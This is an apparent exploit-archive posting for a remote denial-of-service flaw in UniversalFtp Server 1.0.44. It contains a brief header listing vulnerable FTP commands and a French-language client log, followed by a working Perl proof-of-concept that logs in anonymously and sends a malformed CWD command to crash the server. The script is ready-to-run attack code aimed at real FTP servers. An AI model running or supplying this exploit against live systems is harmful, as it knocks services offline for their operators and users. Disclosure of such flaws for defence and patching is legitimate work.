UniversalFtp Server 1.0.44 Multiple Remote Denial of service

# UniversalFtp Server 1.0.44 Multiple Remote #Denial of service
#
#@nolife : This bug has been found with a brain , ten fingers, a keyboard , and a laptop , one of my best Tool i ever tryed. Stay tuned for more tools hint .
#
# 
# Rponse:       226 Completed...
# Statut:       Liste du rpertoire complte
# Commande :    LIST aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...... ......... ...........
# Rponse:       150 Directory...
# Statut:       ftpcontrolsocket.cpp(1764): Waiting for replies to skip before sending next command...   caller=0p12e69f8  --> 0_o
# 
#functions vuln : CWD (2 A) , LIST ( 4102 A) ,PORT (2 A) 
#
#
# PoC :
use Net::FTP;
(($target = $ARGV[0])) || die "usage:$0 <target> <port>";
my $user = "anonymous";
my $pass = "something";
print "Trying to connect to :$target...\n";
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect";
print "Connected!\n";
$ftp->login($user, $pass);
$ftp->cwd("AA");
print "Poc Successfull the server should down now \n";
$ftp->quit;